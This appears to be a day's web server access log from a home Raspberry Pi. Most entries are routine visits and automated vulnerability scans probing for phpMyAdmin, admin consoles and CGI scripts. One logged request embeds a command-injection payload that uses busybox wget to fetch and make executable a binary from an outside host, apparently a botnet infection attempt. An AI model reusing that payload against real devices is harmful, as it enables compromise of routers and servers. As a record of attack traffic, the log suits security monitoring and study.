Tue Apr 14 06:25:06 MDT 2020 06:25:06 up 49 days, 10:53, 1 user, load average: 0.44, 0.29, 0.28 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 24Feb20 49days 1:11m 2.34s /usr/bin/lxsession -s LXDE-pi -e LXDE 109.228.227.130 - - [14/Apr/2020:12:27:11 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 217.66.196.216 - - [14/Apr/2020:13:18:50 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 110.137.122.29 - - [14/Apr/2020:13:44:44 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 103.246.219.237 - - [14/Apr/2020:14:06:08 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 85.93.20.142 - - [14/Apr/2020:14:06:29 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 46.101.8.216 - - [14/Apr/2020:14:08:14 +0000] "GET /login.action HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 46.101.8.216 - - [14/Apr/2020:14:08:14 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 46.101.8.216 - - [14/Apr/2020:14:08:15 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 46.101.8.216 - - [14/Apr/2020:14:08:15 +0000] "GET /horde/imp/test.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 46.101.8.216 - - [14/Apr/2020:14:08:16 +0000] "GET /login?from=0.000000 HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 46.101.8.216 - - [14/Apr/2020:14:08:16 +0000] "GET /console HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 46.101.8.216 - - [14/Apr/2020:14:08:16 +0000] "GET /cgi-bin/test-cgi HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 192.241.238.248 - - [14/Apr/2020:14:15:31 +0000] "GET /portal/redlion HTTP/1.1" 404 0 "" "Mozilla/5.0 zgrab/0.x" 178.128.235.133 - - [14/Apr/2020:14:25:12 +0000] "GET /index.php HTTP/1.1" 404 0 "" "" 193.34.236.43 - - [14/Apr/2020:14:29:43 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 193.34.236.43 - - [14/Apr/2020:14:29:43 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 193.34.236.43 - - [14/Apr/2020:14:29:44 +0000] "GET /horde/imp/test.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 193.34.236.43 - - [14/Apr/2020:14:29:44 +0000] "GET /login.action HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 193.34.236.43 - - [14/Apr/2020:14:29:44 +0000] "GET /login?from=-24487672766705943993242180112842967442152351293718128784242539359630079935374669542978477938017183709885228845573284184404808033119786924060783450791154730816709328896.000000 HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 193.34.236.43 - - [14/Apr/2020:14:29:45 +0000] "GET /console HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 193.34.236.43 - - [14/Apr/2020:14:29:45 +0000] "GET /cgi-bin/test-cgi HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 45.170.220.87 - - [14/Apr/2020:15:46:15 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 66.240.205.34 - - [14/Apr/2020:16:08:59 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 67.172.245.10 - - [14/Apr/2020:16:33:51 +0000] "POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://192.3.45.185/arm7;${IFS}chmod${IFS}777${IFS}arm7 HTTP/1.1" 400 0 "" "" 67.172.245.10 - - [14/Apr/2020:16:33:53 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [14/Apr/2020:17:31:56 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [14/Apr/2020:17:32:01 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [14/Apr/2020:17:32:08 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [14/Apr/2020:17:33:45 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [14/Apr/2020:17:33:51 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [14/Apr/2020:17:33:57 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 5.188.210.101 - - [14/Apr/2020:17:34:51 +0000] "GET /echo.php HTTP/1.1" 404 0 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 163.172.108.115 - - [14/Apr/2020:17:58:34 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 zgrab/0.x" 109.94.117.161 - - [14/Apr/2020:18:14:07 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 2.187.95.10 - - [14/Apr/2020:19:27:25 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 188.72.11.10 - - [14/Apr/2020:19:41:55 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 5.32.176.103 - - [14/Apr/2020:20:22:07 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 139.162.106.181 - - [14/Apr/2020:20:23:08 +0000] "GET / HTTP/1.1" 200 25000 "" "HTTP Banner Detection (https://security.ipip.net)" 45.14.151.246 - - [14/Apr/2020:20:56:36 +0000] "GET /pass HTTP/1.1" 404 0 "" "Go-http-client/1.1" 45.14.151.246 - - [14/Apr/2020:20:56:36 +0000] "GET /pass HTTP/1.1" 404 0 "" "Go-http-client/1.1" 35.205.86.202 - - [14/Apr/2020:21:33:51 +0000] "GET / HTTP/1.1" 200 25000 "" "python-requests/2.18.4" 35.233.105.134 - - [14/Apr/2020:21:51:44 +0000] "GET / HTTP/1.1" 200 25000 "" "python-requests/2.18.4" 35.223.108.174 - - [14/Apr/2020:22:08:35 +0000] "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 0 "" "ZmEu" 35.223.108.174 - - [14/Apr/2020:22:08:35 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 35.223.108.174 - - [14/Apr/2020:22:08:35 +0000] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 35.223.108.174 - - [14/Apr/2020:22:08:35 +0000] "GET /pma/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 35.223.108.174 - - [14/Apr/2020:22:08:35 +0000] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 35.223.108.174 - - [14/Apr/2020:22:08:36 +0000] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "ZmEu" 80.70.17.87 - - [14/Apr/2020:22:34:17 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 46.39.28.44 - - [14/Apr/2020:22:39:11 +0000] "GET / HTTP/1.1" 400 0 "" "" 186.225.61.110 - - [14/Apr/2020:22:45:55 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 196.52.43.57 - - [14/Apr/2020:22:46:21 +0000] "GET / HTTP/1.0" 200 25000 "" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36" 171.67.70.85 - - [14/Apr/2020:23:26:56 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 zgrab/0.x" 89.40.73.84 - - [15/Apr/2020:00:37:03 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0" 115.135.86.161 - - [15/Apr/2020:00:54:38 +0000] "GET / HTTP/1.1" 400 0 "" "" 27.145.26.145 - - [15/Apr/2020:01:43:23 +0000] "POST /cgi-bin/mainfunction.cgi HTTP/1.1" 404 0 "" "XTC BOTNET" 27.145.26.145 - - [15/Apr/2020:01:43:33 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 27.145.26.145 - - [15/Apr/2020:01:43:35 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 27.145.26.145 - - [15/Apr/2020:01:43:36 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 178.212.51.166 - - [15/Apr/2020:02:03:44 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 182.93.12.42 - - [15/Apr/2020:02:11:17 +0000] "GET / HTTP/1.1" 400 0 "" "" 187.60.158.246 - - [15/Apr/2020:03:23:17 +0000] "GET /login.action HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 187.60.158.246 - - [15/Apr/2020:03:23:18 +0000] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 187.60.158.246 - - [15/Apr/2020:03:23:18 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 187.60.158.246 - - [15/Apr/2020:03:23:19 +0000] "GET /horde/imp/test.php HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 187.60.158.246 - - [15/Apr/2020:03:23:19 +0000] "GET /login?from=0.000000 HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 187.60.158.246 - - [15/Apr/2020:03:23:19 +0000] "GET /console HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 187.60.158.246 - - [15/Apr/2020:03:23:20 +0000] "GET /cgi-bin/test-cgi HTTP/1.1" 404 0 "" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0" 168.232.13.134 - - [15/Apr/2020:04:43:45 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 125.64.94.211 - - [15/Apr/2020:05:23:41 +0000] "GET / HTTP/1.0" 200 25000 "" "" 125.64.94.211 - - [15/Apr/2020:05:23:44 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 190.211.97.85 - - [15/Apr/2020:05:43:43 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" 181.166.111.80 - - [15/Apr/2020:06:25:52 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 173.212.125.18 - - [15/Apr/2020:07:24:14 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" 185.140.232.223 - - [15/Apr/2020:07:26:35 +0000] "GET / HTTP/1.1" 200 25000 "" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" 5.175.16.127 - - [15/Apr/2020:07:48:17 +0000] "GET / HTTP/1.1" 200 25000 "" "python-requests/2.23.0" 93.108.241.231 - - [15/Apr/2020:08:20:35 +0000] "GET /manager/html HTTP/1.1" 404 0 "" "Mozilla/5.0 Gecko/20100101" 92.63.194.15 - - [15/Apr/2020:08:28:31 +0000] "UNKNOWN UNKNOWN" 400 0 "" "" 218.161.97.144 - - [15/Apr/2020:09:03:09 +0000] "GET / HTTP/1.0" 200 25000 "" "" Wed Apr 15 06:25:06 MDT 2020 06:25:07 up 50 days, 10:53, 1 user, load average: 0.59, 0.30, 0.27 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT pi tty7 :0 24Feb20 50days 1:12m 2.34s /usr/bin/lxsession -s LXDE-pi -e LXDE